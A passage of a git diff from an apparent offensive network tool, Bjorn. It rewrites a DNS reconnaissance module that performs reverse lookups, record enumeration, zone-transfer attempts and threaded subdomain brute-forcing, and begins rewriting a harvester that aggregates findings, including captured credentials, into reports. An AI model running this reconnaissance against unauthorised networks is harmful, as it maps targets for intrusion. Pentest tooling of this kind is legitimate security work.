transfers against discovered nameservers." + }, + "enable_subdomains": { + "type": "checkbox", + "label": "Enable Subdomain Brute-Force", + "default": True, + "help": "Enumerate subdomains using wordlist." + }, +} + +b_examples = [ + {"threads": 10, "wordlist": "", "timeout": 3, "enable_axfr": True, "enable_subdomains": True}, + {"threads": 5, "wordlist": "/home/bjorn/wordlists/subdomains.txt", "timeout": 5, "enable_axfr": False, "enable_subdomains": True}, +] + +b_docs_url = "docs/actions/DNSPillager.md" + +# --------------------------------------------------------------------------- +# Data directories +# --------------------------------------------------------------------------- +_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data") +OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "dns") + +# --------------------------------------------------------------------------- +# Built-in subdomain wordlist (~100 common entries) +# --------------------------------------------------------------------------- +BUILTIN_SUBDOMAINS = [ + "www", "mail", "ftp", "localhost", "webmail", "smtp", "pop", "ns1", "ns2", + "ns3", "ns4", "dns", "dns1", "dns2", "mx", "mx1", "mx2", "imap", "pop3", + "blog", "dev", "staging", "test", "testing", "beta", "alpha", "demo", + "admin", "administrator", "panel", "cpanel", "webmin", "portal", + "api", "api2", "api3", "gateway", "gw", "proxy", "cdn", "media", + "static", "assets", "img", "images", "files", "download", "upload", + "vpn", "remote", "ssh", "rdp", "citrix", "owa", "exchange", + "db", "database", "mysql", "postgres", "sql", "mongodb", "redis", "elastic", + "shop", "store", "app", "apps", "mobile", "m", + "intranet", "extranet", "internal", "external", "private", "public", + "cloud", "aws", "azure", "gcp", "s3", "storage", + "git", "gitlab", "github", "svn", "repo", "ci", "cd", "jenkins", "build", + "monitor", "monitoring", "grafana", "prometheus", "kibana", "nagios", "zabbix", + "log", "logs", "syslog", "elk", + "chat", "slack", "teams", "jira", "confluence", "wiki", + "backup", "backups", "bak", "archive", + "secure", "security", "sso", "auth", "login", "oauth", + "docs", "doc", "help", "support", "kb", "status", + "calendar", "crm", "erp", "hr", + "web", "web1", "web2", "server", "server1", "server2", + "host", "node", "worker", "master", +] + +# DNS record types to enumerate +DNS_RECORD_TYPES = ["A", "AAAA", "MX", "NS", "TXT", "CNAME", "SOA", "SRV", "PTR"] -# Default settings -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/output/dns" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "dns_pillager_settings.json") -DEFAULT_RECORD_TYPES = ['A', 'AAAA', 'MX', 'NS', 'TXT', 'CNAME', 'SOA'] class DNSPillager: - def __init__(self, domain, wordlist=None, output_dir=DEFAULT_OUTPUT_DIR, threads=10, recursive=False): - self.domain = domain - self.wordlist = wordlist - self.output_dir = output_dir - self.threads = threads - self.recursive = recursive - self.discovered_domains = set() - self.lock = threading.Lock() - self.resolver = dns.resolver.Resolver() - self.resolver.timeout = 1 - self.resolver.lifetime = 1 + """ + DNS reconnaissance action for the Bjorn orchestrator. + Performs reverse DNS, record enumeration, zone transfer attempts, + and subdomain brute-force discovery. + """ - def save_results(self, results): - """Save enumeration results to a JSON file.""" + def __init__(self, shared_data: SharedData): + self.shared_data = shared_data + + # IP -> (MAC, hostname) identity cache from DB + self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {} + self._refresh_ip_identity_cache() + + # DNS resolver setup (dnspython) + self._resolver = None + if _HAS_DNSPYTHON: + self._resolver = dns.resolver.Resolver() + self._resolver.timeout = 3 + self._resolver.lifetime = 5 + + # Ensure output directory exists try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - filename = os.path.join(self.output_dir, f"dns_enum_{timestamp}.json") - - with open(filename, 'w') as f: - json.dump(results, f, indent=4) - logging.info(f"Results saved to {filename}") + os.makedirs(OUTPUT_DIR, exist_ok=True) except Exception as e: - logging.error(f"Failed to save results: {e}") + logger.error(f"Failed to create output directory {OUTPUT_DIR}: {e}") - def query_domain(self, domain, record_type): - """Query a domain for specific DNS record type.""" + # Thread safety + self._lock = threading.Lock() + + logger.info("DNSPillager initialized (dnspython=%s)", _HAS_DNSPYTHON) + + # --------------------- Identity cache (hosts) --------------------- + + def _refresh_ip_identity_cache(self) -> None: + """Rebuild IP -> (MAC, current_hostname) from DB.hosts.""" + self._ip_to_identity.clear() try: - answers = self.resolver.resolve(domain, record_type) - return [str(answer) for answer in answers] - except: + rows = self.shared_data.db.get_all_hosts() + except Exception as e: + logger.error(f"DB get_all_hosts failed: {e}") + rows = [] + + for r in rows: + mac = r.get("mac_address") or "" + if not mac: + continue + hostnames_txt = r.get("hostnames") or "" + current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else "" + ips_txt = r.get("ips") or "" + if not ips_txt: + continue + for ip_addr in [p.strip() for p in ips_txt.split(';') if p.strip()]: + self._ip_to_identity[ip_addr] = (mac, current_hn) + + def _mac_for_ip(self, ip: str) -> Optional[str]: + if ip not in self._ip_to_identity: + self._refresh_ip_identity_cache() + return self._ip_to_identity.get(ip, (None, None))[0] + + def _hostname_for_ip(self, ip: str) -> Optional[str]: + if ip not in self._ip_to_identity: + self._refresh_ip_identity_cache() + return self._ip_to_identity.get(ip, (None, None))[1] + + # --------------------- Public API (Orchestrator) --------------------- + + def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: + """ + Execute DNS reconnaissance on the given target. + + Args: + ip: Target IP address + port: Target port (typically 53) + row: Row dict from orchestrator (contains MAC, hostname, etc.) + status_key: Status tracking key + + Returns: + 'success' | 'failed' | 'interrupted' + """ + self.shared_data.bjorn_orch_status = "DNSPillager" + self.shared_data.bjorn_progress = "0%" + self.shared_data.comment_params = {"ip": ip, "port": str(port), "phase": "init"} + + results = { + "target_ip": ip, + "port": str(port), + "timestamp": datetime.datetime.now().isoformat(), + "reverse_dns": None, + "domain": None, + "records": {}, + "zone_transfer": {}, + "subdomains": [], + "errors": [], + } + + try: + # --- Check for early exit --- + if self.shared_data.orchestrator_should_exit: + logger.info("Orchestrator exit signal before start.") + return "interrupted" + + mac = row.get("MAC Address") or row.get("mac_address") or self._mac_for_ip(ip) or "" + hostname = ( + row.get("Hostname") or row.get("hostname") + or self._hostname_for_ip(ip) + or "" + ) + + # ========================================================= + # Phase 1: Reverse DNS lookup (0% -> 10%) + # ========================================================= + self.shared_data.comment_params = {"ip": ip, "phase": "reverse_dns"} + logger.info(f"[{ip}] Phase 1: Reverse DNS lookup") + + reverse_hostname = self._reverse_dns(ip) + if reverse_hostname: + results["reverse_dns"] = reverse_hostname + logger.info(f"[{ip}] Reverse DNS: {reverse_hostname}") + self.shared_data.log_milestone(b_class, "ReverseDNS", f"IP: {ip} -> {reverse_hostname}") + # Update hostname if we found something new + if not hostname or hostname == ip: + hostname = reverse_hostname + else: + logger.info(f"[{ip}] No reverse DNS result.") + + self.shared_data.bjorn_progress = "10%" + + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + # ========================================================= + # Phase 2: Extract domain and enumerate DNS records (10% -> 35%) + # ========================================================= + domain = self._extract_domain(hostname) + results["domain"] = domain + + if domain: + self.shared_data.comment_params = {"ip": ip, "phase": "records", "domain": domain} + logger.info(f"[{ip}] Phase 2: DNS record enumeration for {domain}") + self.shared_data.log_milestone(b_class, "EnumerateRecords", f"Domain: {domain}") + + record_results = {} + total_types = len(DNS_RECORD_TYPES) + for idx, rtype in enumerate(DNS_RECORD_TYPES): + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + records = self._query_records(domain, rtype) + if records: + record_results[rtype] = records + logger.info(f"[{ip}] {rtype} records for {domain}: {records}") + + # Progress: 10% -> 35% across record types + pct = 10 + int((idx + 1) / total_types * 25) + self.shared_data.bjorn_progress = f"{pct}%" + + results["records"] = record_results + else: + logger.warning(f"[{ip}] No domain could be extracted. Skipping record enumeration.") + self.shared_data.bjorn_progress = "35%" + + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + # ========================================================= + # Phase 3: Zone transfer (AXFR) attempt (35% -> 45%) + # ========================================================= + self.shared_data.bjorn_progress = "35%" + self.shared_data.comment_params = {"ip": ip, "phase": "zone_transfer", "domain": domain or ip} + + if domain and _HAS_DNSPYTHON: + logger.info(f"[{ip}] Phase 3: Zone transfer attempt for {domain}") + nameservers = results["records"].get("NS", []) + # Also try the target IP itself as a nameserver + ns_targets = list(set(nameservers + [ip])) + zone_results = {} + + for ns_idx, ns in enumerate(ns_targets): + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + axfr_records = self._attempt_zone_transfer(domain, ns) + if axfr_records: + zone_results[ns] = axfr_records + logger.success(f"[{ip}] Zone transfer SUCCESS from {ns}: {len(axfr_records)} records") + self.shared_data.log_milestone(b_class, "AXFRSuccess", f"NS: {ns} | Records: {len(axfr_records)}") + + # Progress within 35% -> 45% + if ns_targets: + pct = 35 + int((ns_idx + 1) / len(ns_targets) * 10) + self.shared_data.bjorn_progress = f"{pct}%" + + results["zone_transfer"] = zone_results + else: + if not _HAS_DNSPYTHON: + results["errors"].append("Zone transfer skipped: dnspython not available") + elif not domain: + results["errors"].append("Zone transfer skipped: no domain found") + logger.info(f"[{ip}] Skipping zone transfer (dnspython={_HAS_DNSPYTHON}, domain={domain})") + + self.shared_data.bjorn_progress = "45%" + + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + # ========================================================= + # Phase 4: Subdomain brute-force (45% -> 95%) + # ========================================================= + self.shared_data.comment_params = {"ip": ip, "phase": "subdomains", "domain": domain or ip} + + if domain: + logger.info(f"[{ip}] Phase 4: Subdomain brute-force for {domain}") + self.shared_data.log_milestone(b_class, "SubdomainEnum", f"Domain: {domain}") + wordlist = self._load_wordlist() + thread_count = min(10, max(1, len(wordlist))) + + discovered = self._enumerate_subdomains(domain, wordlist, thread_count) + results["subdomains"] = discovered + logger.info(f"[{ip}] Subdomain enumeration found {len(discovered)} live subdomains") + else: + logger.info(f"[{ip}] Skipping subdomain enumeration: no domain available") + results["errors"].append("Subdomain enumeration skipped: no domain found") + + self.shared_data.bjorn_progress = "95%" + + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + # ========================================================= + # Phase 5: Save results and update DB (95% -> 100%) + # ========================================================= + self.shared_data.comment_params = {"ip": ip, "phase": "saving"} + logger.info(f"[{ip}] Phase 5: Saving results") + + # Save JSON output + self._save_results(ip, results) + + # Update DB hostname if reverse DNS discovered new data + if reverse_hostname and mac: + self._update_db_hostname(mac, ip, reverse_hostname) + + self.shared_data.bjorn_progress = "100%" + self.shared_data.log_milestone(b_class, "Complete", f"Records: {sum(len(v) for v in results['records'].values())} | Subdomains: {len(results['subdomains'])}") + + # Summary comment + record_count = sum(len(v) for v in results["records"].values()) + zone_count = sum(len(v) for v in results["zone_transfer"].values()) + sub_count = len(results["subdomains"]) + self.shared_data.comment_params = { + "ip": ip, + "domain": domain or "N/A", + "records": str(record_count), + "zones": str(zone_count), + "subdomains": str(sub_count), + } + + logger.success( + f"[{ip}] DNS Pillager complete: domain={domain}, " + f"records={record_count}, zone_transfers={zone_count}, subdomains={sub_count}" + ) + return "success" + + except Exception as e: + logger.error(f"[{ip}] DNSPillager execute failed: {e}") + results["errors"].append(str(e)) + # Still try to save partial results + try: + self._save_results(ip, results) + except Exception: + pass + return "failed" + + finally: + self.shared_data.bjorn_progress = "" + + # --------------------- Reverse DNS --------------------- + + def _reverse_dns(self, ip: str) -> Optional[str]: + """Perform reverse DNS lookup on the IP address.""" + # Try dnspython first + if _HAS_DNSPYTHON and self._resolver: + try: + rev_name = dns.reversename.from_address(ip) + answers = self._resolver.resolve(rev_name, "PTR") + for rdata in answers: + hostname = str(rdata).rstrip(".") + if hostname: + return hostname + except Exception as e: + logger.debug(f"dnspython reverse DNS failed for {ip}: {e}") + + # Socket fallback + try: + hostname, _, _ = socket.gethostbyaddr(ip) + if hostname and hostname != ip: + return hostname + except (socket.herror, socket.gaierror, OSError) as e: + logger.debug(f"Socket reverse DNS failed for {ip}: {e}") + + return None + + # --------------------- Domain extraction --------------------- + + @staticmethod + def _extract_domain(hostname: str) -> Optional[str]: + """ + Extract the registerable domain from a hostname. + e.g., 'mail.sub.example.com' -> 'example.com' + 'host1.internal.lan' -> 'internal.lan' + '192.168.1.1' -> None + """ + if not hostname: + return None + + # Skip raw IPs + hostname = hostname.strip().rstrip(".") + parts = hostname.split(".") + if len(parts) < 2: + return None + + # Check if it looks like an IP address + try: + socket.inet_aton(hostname) + return None # It's an IP, not a hostname + except (socket.error, OSError): + pass + + # For simple TLDs, take the last 2 parts + # For compound TLDs (co.uk, com.au), take the last 3 parts + compound_tlds = { + "co.uk", "co.jp", "co.kr", "co.nz", "co.za", "co.in", + "com.au", "com.br", "com.cn", "com.mx", "com.tw", + "org.uk", "net.au", "ac.uk", "gov.uk", + } + if len(parts) >= 3: + possible_compound = f"{parts[-2]}.{parts[-1]}" + if possible_compound.lower() in compound_tlds: + return ".".join(parts[-3:]) + + return ".".join(parts[-2:]) + + # --------------------- DNS record queries --------------------- + + def _query_records(self, domain: str, record_type: str) -> List[str]: + """Query DNS records of a given type for a domain.""" + records = [] + + # Try dnspython first + if _HAS_DNSPYTHON and self._resolver: + try: + answers = self._resolver.resolve(domain, record_type) + for rdata in answers: + value = str(rdata).rstrip(".") + if value: + records.append(value) + return records + except dns.resolver.NXDOMAIN: + logger.debug(f"NXDOMAIN for {domain} {record_type}") + except dns.resolver.NoAnswer: + logger.debug(f"No answer for {domain} {record_type}") + except dns.resolver.NoNameservers: + logger.debug(f"No nameservers for {domain} {record_type}") + except dns.exception.Timeout: + logger.debug(f"Timeout querying {domain} {record_type}") + except Exception as e: + logger.debug(f"dnspython query failed for {domain} {record_type}: {e}") + + # Socket fallback (limited to A records only) + if record_type == "A" and not records: + try: + ips = socket.getaddrinfo(domain, None, socket.AF_INET, socket.SOCK_STREAM) + for info in ips: + addr = info[4][0] + if addr and addr not in records: + records.append(addr) + except (socket.gaierror, OSError) as e: + logger.debug(f"Socket fallback failed for {domain} A: {e}") + + # Socket fallback for AAAA + if record_type == "AAAA" and not records: + try: + ips = socket.getaddrinfo(domain, None, socket.AF_INET6, socket.SOCK_STREAM) + for info in ips: + addr = info[4][0] + if addr and addr not in records: + records.append(addr) + except (socket.gaierror, OSError) as e: + logger.debug(f"Socket fallback failed for {domain} AAAA: {e}") + + return records + + # --------------------- Zone transfer (AXFR) --------------------- + + def _attempt_zone_transfer(self, domain: str, nameserver: str) -> List[Dict]: + """ + Attempt an AXFR zone transfer from a nameserver. + Returns a list of record dicts on success, empty list on failure. + """ + if not _HAS_DNSPYTHON: return [] - def enumerate_domain(self, subdomain): - """Enumerate a single subdomain for all record types.""" - full_domain = f"{subdomain}.{self.domain}" if subdomain else self.domain - results = {'domain': full_domain, 'records': {}} + records = [] + # Resolve NS hostname to IP if needed + ns_ip = self._resolve_ns_to_ip(nameserver) + if not ns_ip: + logger.debug(f"Cannot resolve NS {nameserver} to IP, skipping AXFR") + return [] - for record_type in DEFAULT_RECORD_TYPES: - records = self.query_domain(full_domain, record_type) - if records: - results['records'][record_type] = records - with self.lock: - self.discovered_domains.add(full_domain) - logging.info(f"Found {record_type} records for {full_domain}") - - return results if results['records'] else None - - def load_wordlist(self): - """Load subdomain wordlist or use built-in list.""" - if self.wordlist and os.path.exists(self.wordlist): - with open(self.wordlist, 'r') as f: - return [line.strip() for line in f if line.strip()] - return ['www', 'mail', 'remote', 'blog', 'webmail', 'server', 'ns1', 'ns2', 'smtp', 'secure'] - - def execute(self): - """Execute the DNS enumeration process.""" - results = {'timestamp': datetime.now().isoformat(), 'findings': []} - subdomains = self.load_wordlist() - - logging.info(f"Starting DNS enumeration for {self.domain}") - - with ThreadPoolExecutor(max_workers=self.threads) as executor: - enum_results = list(filter(None, executor.map(self.enumerate_domain, subdomains))) - results['findings'].extend(enum_results) - - if self.recursive and self.discovered_domains: - logging.info("Starting recursive enumeration") - new_domains = set() - for domain in self.discovered_domains: - if domain != self.domain: - new_subdomains = [d.split('.')[0] for d in domain.split('.')[:-2]] - new_domains.update(new_subdomains) - - if new_domains: - enum_results = list(filter(None, executor.map(self.enumerate_domain, new_domains))) - results['findings'].extend(enum_results) - - self.save_results(results) - return results - -def save_settings(domain, wordlist, output_dir, threads, recursive): - """Save settings to JSON file.""" - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "domain": domain, - "wordlist": wordlist, - "output_dir": output_dir, - "threads": threads, - "recursive": recursive - } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") - -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) + zone = dns.zone.from_xfr( + dns.query.xfr(ns_ip, domain, timeout=10, lifetime=30) + ) + for name, node in zone.nodes.items(): + for rdataset in node.rdatasets: + for rdata in rdataset: + records.append({ + "name": str(name), + "type": dns.rdatatype.to_text(rdataset.rdtype), + "ttl": rdataset.ttl, + "value": str(rdata), + }) + except dns.exception.FormError: + logger.debug(f"AXFR refused by {nameserver} ({ns_ip}) for {domain}") + except dns.exception.Timeout: + logger.debug(f"AXFR timeout from {nameserver} ({ns_ip}) for {domain}") + except ConnectionError as e: + logger.debug(f"AXFR connection error from {nameserver}: {e}") + except OSError as e: + logger.debug(f"AXFR OS error from {nameserver}: {e}") except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} + logger.debug(f"AXFR failed from {nameserver} ({ns_ip}) for {domain}: {e}") -def main(): - parser = argparse.ArgumentParser(description="DNS Pillager for domain reconnaissance") - parser.add_argument("-d", "--domain", help="Target domain for enumeration") - parser.add_argument("-w", "--wordlist", help="Path to subdomain wordlist") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory for results") - parser.add_argument("-t", "--threads", type=int, default=10, help="Number of threads") - parser.add_argument("-r", "--recursive", action="store_true", help="Enable recursive enumeration") - args = parser.parse_args() + return records - settings = load_settings() - domain = args.domain or settings.get("domain") - wordlist = args.wordlist or settings.get("wordlist") - output_dir = args.output or settings.get("output_dir") - threads = args.threads or settings.get("threads") - recursive = args.recursive or settings.get("recursive") + def _resolve_ns_to_ip(self, nameserver: str) -> Optional[str]: + """Resolve a nameserver hostname to an IP address.""" + ns = nameserver.strip().rstrip(".") - if not domain: - logging.error("Domain is required. Use -d or save it in settings") - return + # Check if already an IP + try: + socket.inet_aton(ns) + return ns + except (socket.error, OSError): + pass - save_settings(domain, wordlist, output_dir, threads, recursive) + # Try to resolve + if _HAS_DNSPYTHON and self._resolver: + try: + answers = self._resolver.resolve(ns, "A") + for rdata in answers: + return str(rdata) + except Exception: + pass - pillager = DNSPillager( - domain=domain, - wordlist=wordlist, - output_dir=output_dir, - threads=threads, - recursive=recursive - ) - pillager.execute() + # Socket fallback + try: + result = socket.getaddrinfo(ns, 53, socket.AF_INET, socket.SOCK_STREAM) + if result: + return result[0][4][0] + except Exception: + pass + return None + + # --------------------- Subdomain enumeration --------------------- + + def _load_wordlist(self) -> List[str]: + """Load subdomain wordlist from file or use built-in list.""" + # Check for configured wordlist path + wordlist_path = "" + if hasattr(self.shared_data, "config") and self.shared_data.config: + wordlist_path = self.shared_data.config.get("dns_wordlist", "") + + if wordlist_path and os.path.isfile(wordlist_path): + try: + with open(wordlist_path, "r", encoding="utf-8", errors="ignore") as f: + words = [line.strip() for line in f if line.strip() and not line.startswith("#")] + if words: + logger.info(f"Loaded {len(words)} subdomains from {wordlist_path}") + return words + except Exception as e: + logger.error(f"Failed to load wordlist {wordlist_path}: {e}") + + logger.info(f"Using built-in subdomain wordlist ({len(BUILTIN_SUBDOMAINS)} entries)") + return list(BUILTIN_SUBDOMAINS) + + def _enumerate_subdomains( + self, domain: str, wordlist: List[str], thread_count: int + ) -> List[Dict]: + """ + Brute-force subdomain enumeration using ThreadPoolExecutor. + Returns a list of discovered subdomain dicts. + """ + discovered: List[Dict] = [] + total = len(wordlist) + if total == 0: + return discovered + + completed = [0] # mutable counter for thread-safe progress + + def check_subdomain(sub: str) -> Optional[Dict]: + """Check if a subdomain resolves.""" + if self.shared_data.orchestrator_should_exit: + return None + + fqdn = f"{sub}.{domain}" + result = None + + # Try dnspython + if _HAS_DNSPYTHON and self._resolver: + try: + answers = self._resolver.resolve(fqdn, "A") + ips = [str(rdata) for rdata in answers] + if ips: + result = { + "subdomain": sub, + "fqdn": fqdn, + "ips": ips, + "method": "dns", + } + except Exception: + pass + + # Socket fallback + if result is None: + try: + addr_info = socket.getaddrinfo(fqdn, None, socket.AF_INET, socket.SOCK_STREAM) + ips = list(set(info[4][0] for info in addr_info)) + if ips: + result = { + "subdomain": sub, + "fqdn": fqdn, + "ips": ips, + "method": "socket", + } + except (socket.gaierror, OSError): + pass + + # Update progress atomically + with self._lock: + completed[0] += 1 + # Progress: 45% -> 95% across subdomain enumeration + pct = 45 + int((completed[0] / total) * 50) + pct = min(pct, 95) + self.shared_data.bjorn_progress = f"{pct}%" + + return result + + try: + with ThreadPoolExecutor(max_workers=thread_count) as executor: + futures = { + executor.submit(check_subdomain, sub): sub for sub in wordlist + } + + for future in as_completed(futures): + if self.shared_data.orchestrator_should_exit: + # Cancel remaining futures + for f in futures: + f.cancel() + logger.info("Subdomain enumeration interrupted by orchestrator.") + break + + try: + result = future.result(timeout=15) + if result: + with self._lock: + discovered.append(result) + logger.info( + f"Subdomain found: {result['fqdn']} -> {result['ips']}" + ) + self.shared_data.comment_params = { + "ip": domain, + "phase": "subdomains", + "found": str(len(discovered)), + "last": result["fqdn"], + } + except Exception as e: + logger.debug(f"Subdomain future error: {e}") + + except Exception as e: + logger.error(f"Subdomain enumeration thread pool error: {e}") + + return discovered + + # --------------------- Result saving --------------------- + + def _save_results(self, ip: str, results: Dict) -> None: + """Save DNS reconnaissance results to a JSON file.""" + try: + os.makedirs(OUTPUT_DIR, exist_ok=True) + safe_ip = ip.replace(":", "_").replace(".", "_") + timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") + filename = f"dns_{safe_ip}_{timestamp}.json" + filepath = os.path.join(OUTPUT_DIR, filename) + + with open(filepath, "w", encoding="utf-8") as f: + json.dump(results, f, indent=2, default=str) + + logger.info(f"Results saved to {filepath}") + except Exception as e: + logger.error(f"Failed to save results for {ip}: {e}") + + # --------------------- DB hostname update --------------------- + + def _update_db_hostname(self, mac: str, ip: str, new_hostname: str) -> None: + """Update the hostname in the hosts DB table if we found new DNS data.""" + if not mac or not new_hostname: + return + + try: + rows = self.shared_data.db.query( + "SELECT hostnames FROM hosts WHERE mac_address=? LIMIT 1", (mac,) + ) + if not rows: + return + + existing = rows[0].get("hostnames") or "" + existing_set = set(h.strip() for h in existing.split(";") if h.strip()) + + if new_hostname not in existing_set: + existing_set.add(new_hostname) + updated = ";".join(sorted(existing_set)) + self.shared_data.db.execute( + "UPDATE hosts SET hostnames=? WHERE mac_address=?", + (updated, mac), + ) + logger.info(f"Updated DB hostname for MAC {mac}: added {new_hostname}") + # Refresh our local cache + self._refresh_ip_identity_cache() + + except Exception as e: + logger.error(f"Failed to update DB hostname for MAC {mac}: {e}") + + +# --------------------------------------------------------------------------- +# CLI mode (debug / manual execution) +# --------------------------------------------------------------------------- if __name__ == "__main__": - main() \ No newline at end of file + shared_data = SharedData() + try: + pillager = DNSPillager(shared_data) + logger.info("DNS Pillager module ready (CLI mode).") + + rows = shared_data.read_data() + for row in rows: + ip = row.get("IPs") or row.get("ip") + if not ip: + continue + port = row.get("port") or 53 + logger.info(f"Execute DNSPillager on {ip}:{port} ...") + status = pillager.execute(ip, str(port), row, "dns_pillager") + + if status == "success": + logger.success(f"DNS recon successful for {ip}:{port}.") + elif status == "interrupted": + logger.warning(f"DNS recon interrupted for {ip}:{port}.") + break + else: + logger.failed(f"DNS recon failed for {ip}:{port}.") + + logger.info("DNS Pillager CLI execution completed.") + except Exception as e: + logger.error(f"Error: {e}") + exit(1) diff --git a/actions/freya_harvest.py b/actions/freya_harvest.py index f70d37e..7c28315 100644 --- a/actions/freya_harvest.py +++ b/actions/freya_harvest.py @@ -1,457 +1,165 @@ -# Data collection and organization tool to aggregate findings from other modules. -# Saves settings in `/home/bjorn/.settings_bjorn/freya_harvest_settings.json`. -# Automatically loads saved settings if arguments are not provided. -# -i, --input Input directory to monitor (default: /home/bjorn/Bjorn/data/output/). -# -o, --output Output directory for reports (default: /home/bjorn/Bjorn/data/reports). -# -f, --format Output format (json, html, md, default: all). -# -w, --watch Watch for new findings in real-time. -# -c, --clean Clean old data before processing. +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +freya_harvest.py -- Data collection and intelligence aggregation for BJORN. +Monitors output directories and generates consolidated reports. +""" import os import json -import argparse -from datetime import datetime -import logging -import time -import shutil import glob -import watchdog.observers -import watchdog.events -import markdown -import jinja2 +import threading +import time +from datetime import datetime + from collections import defaultdict +from typing import Any, Dict, List, Optional +from logger import Logger +logger = Logger(name="freya_harvest.py") + +# -------------------- Action metadata -------------------- b_class = "FreyaHarvest" b_module = "freya_harvest" -b_enabled = 0 +b_status = "freya_harvest" +b_port = None +b_service = "[]" +b_trigger = "on_start" +b_parent = None +b_action = "normal" +b_priority = 50 +b_cooldown = 0 +b_rate_limit = None +b_timeout = 1800 +b_max_retries = 1 +b_stealth_level = 10 # Local file processing is stealthy +b_risk_level = "low" +b_enabled = 1 +b_tags = ["harvest", "report", "aggregator", "intel"] +b_category = "recon" +b_name = "Freya Harvest" +b_description = "Aggregates findings from all modules into consolidated intelligence reports." +b_author = "Bjorn Team" +b_version = "2.0.4" +b_icon = "FreyaHarvest.png" -# Configure logging -logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') - -# Default settings -DEFAULT_INPUT_DIR = "/home/bjorn/Bjorn/data/output" -DEFAULT_OUTPUT_DIR = "/home/bjorn/Bjorn/data/reports" -DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" -SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "freya_harvest_settings.json") - -# HTML template for reports -HTML_TEMPLATE = """ - - - - Bjorn Reconnaissance Report - - - -

Bjorn Reconnaissance Report

-
-

Generated: {{ timestamp }}

-
- {% for section in sections %} -
-

{{ section.title }}

- {{ section.content }} -
- {% endfor %} - - -""" +b_args = { + "input_dir": { + "type": "text", + "label": "Input Data Dir", + "default": "/home/bjorn/Bjorn/data/output" + }, + "output_dir": { + "type": "text", + "label": "Reports Dir", + "default": "/home/bjorn/Bjorn/data/reports" + }, + "watch": { + "type": "checkbox", + "label": "Continuous Watch", + "default": True + }, + "format": { + "type": "select", + "label": "Report Format", + "choices": ["json", "md", "all"], + "default": "all" + } +} class FreyaHarvest: - def __init__(self, input_dir=DEFAULT_INPUT_DIR, output_dir=DEFAULT_OUTPUT_DIR, - formats=None, watch_mode=False, clean=False): - self.input_dir = input_dir - self.output_dir = output_dir - self.formats = formats or ['json', 'html', 'md'] - self.watch_mode = watch_mode - self.clean = clean - + def __init__(self, shared_data): + self.shared_data = shared_data self.data = defaultdict(list) - self.observer = None + self.lock = threading.Lock() + self.last_scan_time = 0 - def clean_directories(self): - """Clean output directory if requested.""" - if self.clean and os.path.exists(self.output_dir): - shutil.rmtree(self.output_dir) - os.makedirs(self.output_dir) - logging.info(f"Cleaned output directory: {self.output_dir}") - - def collect_wifi_data(self): - """Collect WiFi-related findings.""" - try: - wifi_dir = os.path.join(self.input_dir, "wifi") - if os.path.exists(wifi_dir): - for file in glob.glob(os.path.join(wifi_dir, "*.json")): - with open(file, 'r') as f: - data = json.load(f) - self.data['wifi'].append(data) - except Exception as e: - logging.error(f"Error collecting WiFi data: {e}") - - def collect_network_data(self): - """Collect network topology and host findings.""" - try: - network_dir = os.path.join(self.input_dir, "topology") - if os.path.exists(network_dir): - for file in glob.glob(os.path.join(network_dir, "*.json")): - with open(file, 'r') as f: - data = json.load(f) - self.data['network'].append(data) - except Exception as e: - logging.error(f"Error collecting network data: {e}") - - def collect_vulnerability_data(self): - """Collect vulnerability findings.""" - try: - vuln_dir = os.path.join(self.input_dir, "webscan") - if os.path.exists(vuln_dir): - for file in glob.glob(os.path.join(vuln_dir, "*.json")): - with open(file, 'r') as f: - data = json.load(f) - self.data['vulnerabilities'].append(data) - except Exception as e: - logging.error(f"Error collecting vulnerability data: {e}") - - def collect_credential_data(self): - """Collect credential findings.""" - try: - cred_dir = os.path.join(self.input_dir, "packets") - if os.path.exists(cred_dir): - for file in glob.glob(os.path.join(cred_dir, "*.json")): - with open(file, 'r') as f: - data = json.load(f) - self.data['credentials'].append(data) - except Exception as e: - logging.error(f"Error collecting credential data: {e}") - - def collect_data(self): - """Collect all data from various sources.""" - self.data.clear() # Reset data before collecting - self.collect_wifi_data() - self.collect_network_data() - self.collect_vulnerability_data() - self.collect_credential_data() - logging.info("Data collection completed") - - def generate_json_report(self): - """Generate JSON format report.""" - try: - report = { - 'timestamp': datetime.now().isoformat(), - 'findings': dict(self.data) - } - - os.makedirs(self.output_dir, exist_ok=True) - output_file = os.path.join(self.output_dir, - f"report_{datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.json") - - with open(output_file, 'w') as f: - json.dump(report, f, indent=4) - - logging.info(f"JSON report saved to {output_file}") - - except Exception as e: - logging.error(f"Error generating JSON report: {e}") - - def generate_html_report(self): - """Generate HTML format report.""" - try: - template = jinja2.Template(HTML_TEMPLATE) - sections = [] - - # Network Section - if self.data['network']: - content = "

Network Topology

" - for topology in self.data['network']: - content += f"

Hosts discovered: {len(topology.get('hosts', []))}

